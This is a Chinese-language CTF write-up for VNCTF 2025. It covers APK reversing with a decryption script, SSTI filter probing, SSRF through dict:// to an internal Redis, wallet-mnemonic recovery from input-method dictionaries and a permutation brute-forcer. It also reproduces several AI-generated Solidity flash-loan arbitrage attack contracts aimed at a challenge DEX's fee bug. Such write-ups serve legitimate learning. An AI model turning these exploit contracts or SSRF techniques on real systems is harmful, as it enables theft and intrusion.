[Reverse] Hook Fish
钓到的鱼怎么跑了?
下载下来一个apk文件,丢进jadx查看AndroidManifest.xml
看到第一个Activity是com.example.hihitt.MainActivity
找到Activity看到里面有一些函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public void loadClass (String input0) { String input1 = encode(input0); File dexFile = new File (getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex" ); DexClassLoader dLoader = new DexClassLoader (Uri.fromFile(dexFile).toString(), null , null , ClassLoader.getSystemClassLoader().getParent()); try { Class<?> loadedClass = dLoader.loadClass("fish.hook_fish" ); Object obj = loadedClass.newInstance(); Method m = loadedClass.getMethod("check" , String.class); boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue(); if (check) { Toast.makeText(this , "恭喜,鱼上钩了!" , 0 ).show(); } } catch (Exception e) { e.printStackTrace(); } } public String decode (String boy) { try { File dexFile = new File (getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex" ); DexClassLoader dLoader = new DexClassLoader (dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null , getClassLoader()); Class<?> loadedClass = dLoader.loadClass("fish.hook_fish" ); Object obj = loadedClass.newInstance(); Method decodeMethod = loadedClass.getMethod("decode" , String.class); return (String) decodeMethod.invoke(obj, boy); } catch (Exception e) { e.printStackTrace(); return "Error" ; } } public String encode (String girl) { try { File dexFile = new File (getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex" ); DexClassLoader dLoader = new DexClassLoader (dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null , getClassLoader()); Class<?> loadedClass = dLoader.loadClass("fish.hook_fish" ); Object obj = loadedClass.newInstance(); Method encodeMethod = loadedClass.getMethod("encode" , String.class); return (String) encodeMethod.invoke(obj, girl); } catch (Exception e) { e.printStackTrace(); return "Error" ; } } }
去抓包,发现从http://47.121.211.23/hook_fish.dex
下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件
用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码
),然后可以拿到里面ji编码后的密文
1 jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji
解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5
,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static String encrypt (String str) { byte [] str1 = str.getBytes(); for (int i = 0 ; i < str1.length; i++) { str1[i] = (byte ) (str1[i] + 68 ); } StringBuilder hexStringBuilder = new StringBuilder (); for (byte b : str1) { hexStringBuilder.append(String.format("%02x" , Byte.valueOf(b))); } String str2 = hexStringBuilder.toString(); char [] str3 = str2.toCharArray(); code(str3, 0 ); for (int i2 = 0 ; i2 < str3.length; i2++) { if (str3[i2] >= 'a' && str3[i2] <= 'f' ) { str3[i2] = (char ) ((str3[i2] - '1' ) + (i2 % 4 )); } else { str3[i2] = (char ) (str3[i2] + '7' + (i2 % 10 )); } } Log.d("encrypt: " , new String (str3)); return new String (str3); } private static void code (char [] a, int index) { if (index >= a.length - 1 ) { return ; } a[index] = (char ) (a[index] ^ a[index + 1 ]); a[index + 1 ] = (char ) (a[index] ^ a[index + 1 ]); a[index] = (char ) (a[index] ^ a[index + 1 ]); code(a, index + 2 ); }
于是组合起来,写个JIO本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 class HookFish : def __init__ (self ): self.fish_ecode = {} self.fish_dcode = {} self.encode_map() def encode_map (self ): encode_dict = { 'a' : "iiijj" , 'b' : "jjjii" , 'c' : "jijij" , 'd' : "jjijj" , 'e' : "jjjjj" , 'f' : "ijjjj" , 'g' : "jjjji" , 'h' : "iijii" , 'i' : "ijiji" , 'j' : "iiiji" , 'k' : "jjjij" , 'l' : "jijji" , 'm' : "ijiij" , 'n' : "iijji" , 'o' : "ijjij" , 'p' : "jiiji" , 'q' : "ijijj" , 'r' : "jijii" , 's' : "iiiii" , 't' : "jjiij" , 'u' : "ijjji" , 'v' : "jiiij" , 'w' : "iiiij" , 'x' : "iijij" , 'y' : "jjiji" , 'z' : "jijjj" , '1' : "iijjl" , '2' : "iiilj" , '3' : "iliii" , '4' : "jiili" , '5' : "jilji" , '6' : "iliji" , '7' : "jjjlj" , '8' : "ijljj" , '9' : "iljji" , '0' : "jjjli" } for char, code in encode_dict.items(): self.fish_ecode[char] = code self.fish_dcode[code] = char def decode (self, p1 ): decoded_str = [] for i in range (0 , len (p1), 5 ): encoded_char = p1[i:i+5 ] decoded_str.append(self.fish_dcode.get(encoded_char, '?' )) return '' .join(decoded_str) def decrypt (encrypted_str ): def reverse_step4 (chars ): reversed_chars = [] for i, c in enumerate (chars): current_ord = ord (c) original_ord_case1 = (current_ord - (i % 4 )) + ord ('1' ) if 97 <= original_ord_case1 <= 102 : reversed_chars.append(chr (original_ord_case1)) continue original_ord_case2 = current_ord - ord ('7' ) - (i % 10 ) if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102 : reversed_chars.append(chr (original_ord_case2)) else : reversed_chars.append('?' ) return reversed_chars step3_chars = reverse_step4(list (encrypted_str)) for i in range (0 , len (step3_chars)-1 , 2 ): step3_chars[i], step3_chars[i+1 ] = step3_chars[i+1 ], step3_chars[i] try : hex_str = '' .join(step3_chars) encrypted_bytes = bytes .fromhex(hex_str) except ValueError: return "Invalid Hex" original_bytes = bytes ([(b - 68 ) % 256 for b in encrypted_bytes]) return original_bytes.decode('utf-8' , errors='replace' ) hook_fish = HookFish() encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji" raw_encrypted = hook_fish.decode(encoded_string) print ("Encrypted String:" , raw_encrypted)decrypted_flag = decrypt(raw_encrypted) print ("Decrypted Flag:" , decrypted_flag)
最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}
[MISC] VN_Lang
我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗?
本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。
直接把exe丢进IDA,然后Shift + F12 ,查看字符串,发现flag
flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}
[Web] 学生姓名登记系统(未出)
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
确实并非无懈可击,但是我是没办法打
上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然
输入
输出
然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%}
,会直接原样返回
这些关键词包括但不限于:%
、lipsum
,有些组合也不能够被正确识别,例如{{request.args.a}}
,{{request.cookies.c}}
这样的
此外,还有长度限制,经过测试,当单行输入长度>=24
的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示
因为我实在是没找到方法来规避这个长度限制,所以只能作罢
[Web] 奶龙回家(未出)
小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次
给了登录框,可以输入用户名和密码,一开始就想到了爆破
然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作
行吧,我后面再来看你(然后就忘了 =-=)
[Reverse] 抽奖转盘(未出)
主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。
附件的格式.hap
就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler
https://github.com/ohos-decompiler/abc-decompiler
把hap文件解压以后,将里面的.abc
文件丢进去就可以反编译了……但这是啥啊!
好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样
后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢
模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0
[MISC] Ekko(未出)
Ekko似乎找不到完美的时间线了。。。
题目地址:156.238.233.119:10001
faucet:156.238.233.119:10000
rpc:156.238.233.119:8545
一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约
nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步
1 2 3 4 5 6 7 8 9 10 11 12 PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 Help Ekko find the best timeline.馃槑馃槑馃槑 Trigger the isSolved() function to obtain the flag. [1] - Create an account which will be used to deploy the challenge contract [2] - Deploy the challenge contract using your generated account [3] - Get your flag once you meet the requirement [4] - Show the contract source code [-] input your choice: 1 [+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1 [+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ [+] please transfer more than 0.001 test ether to the deployer account for next step
首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了
接着要向别人转账,再次nc选择2,把token给它就可以部署合约了
1 2 3 4 5 6 7 8 9 10 11 12 PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 Help Ekko find the best timeline.馃槑馃槑馃槑 Trigger the isSolved() function to obtain the flag. [1] - Create an account which will be used to deploy the challenge contract [2] - Deploy the challenge contract using your generated account [3] - Get your flag once you meet the requirement [4] - Show the contract source code [-] input your choice: 2 [-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ [+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE [+] transaction hash : 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6
然后就是要完成合约,但是怎么完成?我不道啊!!
[MISC] aimind(未出)
基于大模型生成网站思维导图,不觉得很cool 吗
题目链接:http://39.100.72.235:8000/
本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次.
访问后告诉我们要输入url来生成思维导图
我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档
https://github.com/Luminoria/CTF/blob/main/VNCTF2025.html
改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示
那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令
测试了一下dict://172.18.0.3:6379/INFO
,确实可以获取信息
于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢
还是对Redis不熟的问题 =-=
[MISC] Echo Flowers(已复现)
英语不好 的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入 了首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的 OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗?
本题附件下载地址:百度网盘 或 Google Drive
114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的 。
附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。
你应该从手机镜像中取证找回数字钱包。
附件中gift文件夹的内容不是解题所必需的。
FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} .
赛中自己做 一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好
、将助记词导入
,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词
具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目
1 ramp ranch twenty you only space define fashion high laundry carpet muscle
因为助记词的顺序会影响钱包地址,于是写了个爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import itertoolsfrom mnemonic import Mnemonicfrom eth_account import Accountfrom eth_utils.exceptions import ValidationErrorfrom tqdm import tqdmfrom concurrent.futures import ThreadPoolExecutor, as_completedAccount.enable_unaudited_hdwallet_features() mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle" .split() target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9' mnemo = Mnemonic('english' ) def generate_address_from_mnemonic (mnemonic_words ): try : mnemonic_phrase = ' ' .join(mnemonic_words) if not mnemo.check(mnemonic_phrase): return None seed = mnemo.to_seed(mnemonic_phrase, passphrase="" ) acct = Account.from_mnemonic(mnemonic_phrase) return acct.address.lower() except ValidationError: return None def process_permutation (perm ): address = generate_address_from_mnemonic(perm) if address == target_address: return perm return None with ThreadPoolExecutor() as executor: progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations" , total=12 *11 *10 *9 *8 *7 *6 *5 *4 *3 *2 *1 ) for perm in progress_bar: future = executor.submit(process_permutation, perm) result = future.result() progress_bar.update(1 ) if result: print (f"Found correct sequence: {result} " ) break else : print ("No matching address found." )
然后就发现问题了:这样组合起来有479001600种组合,完全不够时间来爆破,而且这12个助记词不保证对,那没办法了,放在kaggle上面爆破然后我做别的去了
赛后复现 根据官方的wp,找搜狗输入法的方向是正确的,但是就像我上面说的,不确定性太大了
搜狗输入法的词库确实是按照我在比赛时看到的那样,保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict
里面,而我在winhex里面看到的跟我用string提取的一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin SGCM( SGCP( SGHW( SGKC$ SGLB( SGPA( SGPF( SGTG( SGQG( SGBU( SGMU( SGPU( SGBG( SGAU( SGAB( SLDA( SGNU(
这样子看不出来任何东西,而官方wp加入了--encoding=b
Deepseek: --encoding=b
表示让 strings
工具以 16位大端(Big-Endian)编码 扫描二进制文件中的字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b * ranch only space define laundry carpet muscle ramp high twenty couch fashion
就能够看到助记词,而且有确切的顺序,导入进去就有钱包了
所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}
找搜狗输入法的方向是对的,只不过不能在winhex里面查看词库要用strings提取
[MISC] Something for nothing(未出)
今天我们隆重推出VNB和WMB!嗯…好像交易所的实现有不太对的地方?
稍加利用也许能拿到怪东西?
做这题的时候我已经学了一点点(真的是一点点)的合约了,提示里面给到“三角套利”,但是理财不是我的强项
于是在Deepseek的帮助下,有了这样的攻击步骤
触发闪电贷 :在attack
函数中,通过调用flashLoan
借入5000 USDT。
执行套利操作 :在executeOperation
回调函数中:
USDT→VNB :在池0(USDT-VNB)中将借入的USDT兑换为VNB。
VNB→WMB :在池1(VNB-WMB)中将获得的VNB兑换为WMB。
WMB→USDT :在池2(USDT-WMB)中将获得的WMB兑换回USDT。
转移利润 :计算利润并将USDT利润转至profitReceiver
。
归还贷款 :确保剩余的USDT足够偿还闪电贷,并授权DEX取回。
关键点:
手续费漏洞 :DEX的getAmountOut
函数错误地将amountIn
乘以1000而非扣除手续费,导致无手续费交易,使得套利成为可能。
三角套利路径 :利用三个流动性池的价格差异,通过三次交换实现无风险利润。
闪电贷机制 :通过闪电贷借入大量资金放大利润,并在同一交易中完成所有操作,确保原子性。
于是它给了我下面的合约代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // 借入5000 USDT进行攻击 uint256 loanAmount = 5000 ether; ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); require(token == token0, "Invalid token"); // 授权DEX使用借入的USDT IIERC20(token0).approve(dex, amount); // 在池0中将USDT兑换为VNB ISimpleDEX(dex).swap(0, amount, true); // 在池1中将VNB兑换为WMB uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 在池2中将WMB兑换为USDT uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, false); // 将利润转给profitReceiver uint256 currentBalance = IIERC20(token0).balanceOf(address(this)); require(currentBalance >= amount, "无法偿还贷款"); uint256 profit = currentBalance - amount; IIERC20(token0).transfer(profitReceiver, profit); // 授权DEX取回贷款 IIERC20(token0).approve(dex, amount); } }
但问题是,我放到题目里面以后,它不跑啊……
我还是把各种AI给的合约放在这个下面吧
Deepseek R1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // 借入5000 USDT进行攻击 uint256 loanAmount = 5000 ether; ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); require(token == token0, "Invalid token"); // 授权DEX使用借入的USDT IIERC20(token0).approve(dex, amount); // 在池0中将USDT兑换为VNB ISimpleDEX(dex).swap(0, amount, true); // 在池1中将VNB兑换为WMB uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 在池2中将WMB兑换为USDT uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, false); // 将利润转给profitReceiver uint256 currentBalance = IIERC20(token0).balanceOf(address(this)); require(currentBalance >= amount, "无法偿还贷款"); uint256 profit = currentBalance - amount; IIERC20(token0).transfer(profitReceiver, profit); // 授权DEX取回贷款 IIERC20(token0).approve(dex, amount); } }
Gemini 2.0 Pro 02-05 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address public token0; address public token1; address public token2; address public dex; address public profitReceiver; uint256 public loanAmount; function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount ISimpleDEX(dex).flashLoan(loanAmount, token0); } function executeOperation(uint256 amount, address token) external{ require(msg.sender == dex, "Unauthorized"); require(token == token0, "Wrong token"); require(amount == loanAmount, "Wrong Amount"); IIERC20(token0).approve(dex, loanAmount); // 1. Swap USDT for VNB (ammIndex 0) ISimpleDEX(dex).swap(0, amount, true); // 2. Swap VNB for WMB (ammIndex 1) uint256 vnbBalance = IIERC20(token1).balanceOf(address(this)); IIERC20(token1).approve(dex, vnbBalance); ISimpleDEX(dex).swap(1, vnbBalance, true); // 3. Swap WMB for USDT (ammIndex 2) uint256 wmbBalance = IIERC20(token2).balanceOf(address(this)); IIERC20(token2).approve(dex, wmbBalance); ISimpleDEX(dex).swap(2, wmbBalance, true); // Transfer profit to profitReceiver uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount; IIERC20(token0).transfer(profitReceiver, profit); } }
ChatGPT 4o 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 // Attack.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IIERC20 { function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function balanceOf(address owner) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } interface ISimpleDEX { function flashLoan(uint256 amount, address token) external; function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external; function getPrice(uint256 ammIndex) external view returns (uint256); function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external; function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external; } interface IAttack { function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external; } contract AttackContract is IAttack { address token0; address token1; address token2; address dex; address profitReceiver; uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable) function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external { token0 = _token0; token1 = _token1; token2 = _token2; dex = _dex; profitReceiver = _profitReceiver; // Step 1: Flash loan from SimpleDEX (borrow USDT) ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT } // This function is called by the SimpleDEX during flash loan callback function executeOperation(uint256 amount, address token) external { require(msg.sender == dex, "Unauthorized"); // Step 2: Perform triangular arbitrage // 1. Swap USDT (token0) to VNB (token1) uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB // 2. Swap VNB (token1) to WMB (token2) uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB // 3. Swap WMB (token2) to USDT (token0) uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT // Step 3: Repay the flash loan require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan"); IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan // Step 4: Check if profit was made uint256 profit = IIERC20(token).balanceOf(profitReceiver); require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made } }
[PWN] FileSys(未出)
You only have one chance to edit
题目给了一个bzImage
、一个rootfs.cpio
、一个boot.sh
,用qemu启动试试
1 2 3 4 5 6 qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio \ -append "root=/dev/ram console=ttyS0" \ -nographic \ -m 512M
启动确实是成功了,但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥
反倒是在用winhex翻文件的时候,在根目录有flag.txt
写着VNCTF{inkey}
[MISC] ezSignal(未出)
你也热爱信号吗?
本题附件下载地址:下载链接
题目给了一个压缩包,解压出来一张图,binwalk出来另一个压缩包,里面是flag.txt(180+ MB),里面看不懂啊~
图片的描述里面,照相机序列号有key:VN2025CTF
(下图是旧附件flag.txt)
后面说这题有问题,附件更新了,新附件337MB(之前那个才几MB),新附件把flag分成两部分了
1 2 3 4 5 6 7 8 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 500 x 500, 8-bit/color RGB, non-interlaced 91 0x5B Zlib compressed data, compressed 6026 0x178A Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt 176360381 0xA830BBD Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt 354325610 0x151E946A End of Zip archive, footer length: 22
题目给了提示
请仔细研究题目附件压缩包的文件结构
GRC流程图是 窄带FM调制+XOR
然而还是做不出来